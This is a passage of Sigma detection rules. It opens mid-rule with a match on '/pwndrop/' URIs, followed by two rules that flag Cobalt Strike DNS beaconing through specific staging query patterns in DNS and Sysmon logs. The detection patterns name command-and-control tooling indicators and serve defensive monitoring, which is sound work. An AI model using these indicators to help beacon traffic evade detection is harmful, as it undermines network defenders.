detection:
    selection:
        c-uri|contains: '/pwndrop/'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: Cobalt Strike DNS Beaconing
id: 2975af79-28c4-4d2f-a951-9095f229df29
status: test
description: Detects suspicious DNS queries known from Cobalt Strike beacons
references:
    - https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
    - https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
author: Florian Roth (Nextron Systems)
date: 2018-05-10
modified: 2022-10-09
tags:
    - attack.command-and-control
    - attack.t1071.004
logsource:
    category: dns
detection:
    selection1:
        query|startswith:
            - 'aaa.stage.'
            - 'post.1'
    selection2:
        query|contains: '.stage.123456.'
    condition: 1 of selection*
falsepositives:
    - Unknown
level: critical

title: Suspicious Cobalt Strike DNS Beaconing - Sysmon
id: f356a9c4-effd-4608-bbf8-408afd5cd006
related:
    - id: 0d18728b-f5bf-4381-9dcf-915539fff6c2
      type: similar
status: test
description: Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons
references:
    - https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
    - https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
author: Florian Roth (Nextron Systems)
date: 2021-11-09
modified: 2023-01-16
tags:
    - attack.command-and-control
    - attack.t1071.004
logsource:
    product: windows
    category: dns_query
detection:
    selection1:
        QueryName|startswith:
            - 'aaa.stage.'
            - 'post.1'
    selection2:
        QueryName|contains: '.stage.123456.'
    condition: 1 of selection*
falsepositives:
    - Unknown
level: critical